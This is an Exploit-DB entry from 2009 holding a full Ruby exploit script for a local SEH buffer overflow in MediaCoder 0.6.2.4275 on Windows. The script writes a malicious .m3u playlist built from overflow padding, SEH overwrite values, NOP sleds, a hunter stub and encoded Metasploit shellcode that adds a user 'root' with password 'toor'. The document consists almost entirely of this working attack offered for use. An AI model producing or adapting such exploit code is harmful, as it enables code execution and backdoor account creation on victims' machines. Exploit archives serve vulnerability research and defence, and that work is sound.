Exploit-DB #8179
Description: Mediacoder 0.6.2.4275 - Universal Buffer Overflow (SEH)
Type: local
Platform: windows
Date: 2009-03-09
Author: Stack

Exploit:
#!/usr/bin/env ruby
# MediaCoder 0.6.2.4275 Universal Buffer Overflow Exploit (SEH)
# Universal SEH Overwrite Exploit
# By Stack
# Mountassif Moad
# Download app : http://mediacoder.sourceforge.net/mirrors.htm?file=MediaCoder-0.6.2.4275.exe
# cat Greatz.txt
# Jadi-Chel7 & Mr.Safa7 & Houssamix & Simo-Soft & DDos & Simo64 & G0rillaz & Issam & Sec-Alert & & Bohayra & j0rd4n14n.r1z
# Webug & Travis-Barker & Keyo & General l0s3r & NeoCoderz & welahima b9ite 3arefe chkoune akhore rani tansa :d
# ahe nsite big thnx to Str0ke and thanks you for all patience and your advice & support
time3 = Time.new
puts "Exploit Started in Current Time :" + time3.inspect
puts "Enter Name For your File Like : Stack"
files = gets.chomp.capitalize
puts "Name Of File : " + files +'.m3u'
time1 = Time.new
$VERBOSE=nil
Header = 
"\x23\x45\x58\x54\x4D\x33\x55\x0D\x0A\x23\x45\x58\x54\x49\x4E\x46"+
"\x3A\x33\x3A\x35\x30\x2C\x4C\x61\x6D\x62\x20\x4F\x66\x20\x47\x6F"+
"\x64\x20\x2D\x20\x53\x65\x74\x20\x54\x6F\x20\x46\x61\x69\x6C\x20"+
"\x0D\x0A\x44\x3A\x5C"
# win32_adduser -  PASS=toor EXITFUNC=seh USER=root Size=489 Encoder=PexAlphaNum http://metasploit.com
Shellscode =
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"+
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"+
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"+
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"+
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x54"+
"\x42\x50\x42\x30\x42\x30\x4b\x38\x45\x54\x4e\x33\x4b\x38\x4e\x47"+
"\x45\x30\x4a\x57\x41\x50\x4f\x4e\x4b\x58\x4f\x54\x4a\x31\x4b\x48"+
"\x4f\x35\x42\x32\x41\x50\x4b\x4e\x49\x54\x4b\x58\x46\x53\x4b\x58"+
"\x41\x30\x50\x4e\x41\x43\x42\x4c\x49\x39\x4e\x4a\x46\x58\x42\x4c"+
"\x46\x57\x47\x30\x41\x4c\x4c\x4c\x4d\x50\x41\x50\x44\x4c\x4b\x4e"+
"\x46\x4f\x4b\x33\x46\x45\x46\x42\x46\x50\x45\x57\x45\x4e\x4b\x48"+
"\x4f\x55\x46\x42\x41\x30\x4b\x4e\x48\x56\x4b\x48\x4e\x50\x4b\x34"+
"\x4b\x48\x4f\x35\x4e\x31\x41\x30\x4b\x4e\x4b\x48\x4e\x41\x4b\x58"+
"\x41\x30\x4b\x4e\x49\x38\x4e\x45\x46\x52\x46\x30\x43\x4c\x41\x53"+
"\x42\x4c\x46\x36\x4b\x38\x42\x44\x42\x53\x45\x38\x42\x4c\x4a\x57"+
"\x4e\x50\x4b\x38\x42\x54\x4e\x50\x4b\x58\x42\x57\x4e\x41\x4d\x4a"+
"\x4b\x38\x4a\x56\x4a\x30\x4b\x4e\x49\x30\x4b\x48\x42\x58\x42\x4b"+
"\x42\x50\x42\x30\x42\x50\x4b\x48\x4a\x46\x4e\x43\x4f\x35\x41\x53"+
"\x48\x4f\x42\x46\x48\x55\x49\x48\x4a\x4f\x43\x48\x42\x4c\x4b\x37"+
"\x42\x55\x4a\x56\x42\x4f\x4c\x58\x46\x50\x4f\x45\x4a\x36\x4a\x39"+
"\x50\x4f\x4c\x58\x50\x30\x47\x35\x4f\x4f\x47\x4e\x43\x46\x4d\x46"+
"\x46\x56\x50\x52\x45\x36\x4a\x47\x45\x46\x42\x52\x4f\x32\x43\x46"+
"\x42\x52\x50\x56\x45\x56\x46\x37\x42\x52\x45\x57\x43\x57\x45\x46"+
"\x44\x37\x42\x32\x44\x47\x4f\x46\x4f\x56\x46\x37\x42\x32\x46\x37"+
"\x4f\x36\x4f\x56\x44\x57\x42\x52\x4f\x42\x41\x44\x46\x54\x46\x34"+
"\x42\x52\x48\x52\x48\x52\x42\x32\x50\x56\x45\x36\x46\x37\x42\x52"+
"\x4e\x36\x4f\x46\x43\x56\x41\x56\x4e\x36\x47\x36\x44\x57\x4f\x36"+
"\x45\x57\x42\x47\x42\x52\x41\x34\x46\x46\x4d\x36\x49\x46\x50\x56"+
"\x49\x36\x43\x47\x46\x47\x44\x37\x41\x36\x46\x57\x4f\x56\x44\x57"+
"\x43\x47\x42\x32\x44\x57\x4f\x56\x4f\x46\x46\x47\x42\x32\x4f\x32"+
"\x41\x54\x46\x54\x46\x54\x42\x50\x5a"
# Media_bruteforcer_shellcode
Bruteforce = # BruteForce the shellcode to runing if it dont work in the first methode
"\xD0\x62\x43"+        #  SHL BYTE PTR DS:[EDX+43],1
"\x00\xB8\x6D"+        #  ADD BYTE PTR DS:[EAX+1ABBB6D],BH
"\xBB\xAB\x01"+
"\x00\x00"+            #  ADD BYTE PTR DS:[EAX],AL
"\x00\xF0"+            #  ADD AL,DH
"\xFF\x13"+            #  CALL DWORD PTR DS:[EBX]
"\x00\x4F\x6D"+        #  ADD BYTE PTR DS:[EDI+6D],CL
"\x81\x7C\x38\x07"+    #  CMP DWORD PTR DS:[EAX+EDI+7],FFFF7C92
"\x92\x7C\xFF"+
"\xFF\xFF" + Shellscode
Rhunter =
"\x5B"+             #POP EBX
"\x90" * 10 +       # NOP x 10  
"\x90\x90"+         # NOP NOP
"\x8D\x44\xC1\x04"+ # LEA EAX,DWORD PTR DS:[ECX+EAX*8+4]
"\x8B\x1E"+         # MOV EBX,DWORD PTR DS:[ESI]
"\x89\x18"+         # MOV DWORD PTR DS:[EAX],EBX
"\x89\x06"+         # MOV DWORD PTR DS:[ESI],EAX
"\x42"+             # INC EDX
"\x83\xFA\x64"+     # CMP EDX,64
"\x75\xEC"+         # JNZ SHORT dsp_chmx.0169127E
"\x8B\x06"+         # MOV EAX,DWORD PTR DS:[ESI]
"\x8B\x10"+         # MOV EDX,DWORD PTR DS:[EAX]
"\x89\x16"+         # MOV DWORD PTR DS:[ESI],EDX
"\x5E"+             # POP ESI
"\x5B"+             # POP EBX
"\x93\x43"+         # CALL ESP
"\x92\x7c"
Over     = "\x41" * 195 + "\xff\xff\xff\xff" + "\x47" * 4 + "\x42" * 6 + "\xff\xff\x47\x47\x47\xFF\x65\x78\x77\x76"
Nop      = "\x90" * 8
Next_Seh = "\xeb\x06\xff\xff"
Seh      = "\x93\xB6\x98\x7C" 
Nopsled  = "\x90" * 7
Xpl = Header + Over + Rhunter + Nop + Shellscode + Nopsled + Next_Seh + Seh + Nop + Bruteforce + Nopsled
File.open( files+".m3u", "w" ) do |the_file|
the_file.puts(Xpl)
puts "Exploit finished in Current Time :" + time1.inspect
puts "Now Open " + files +".m3u :d"
end

# milw0rm.com [2009-03-09]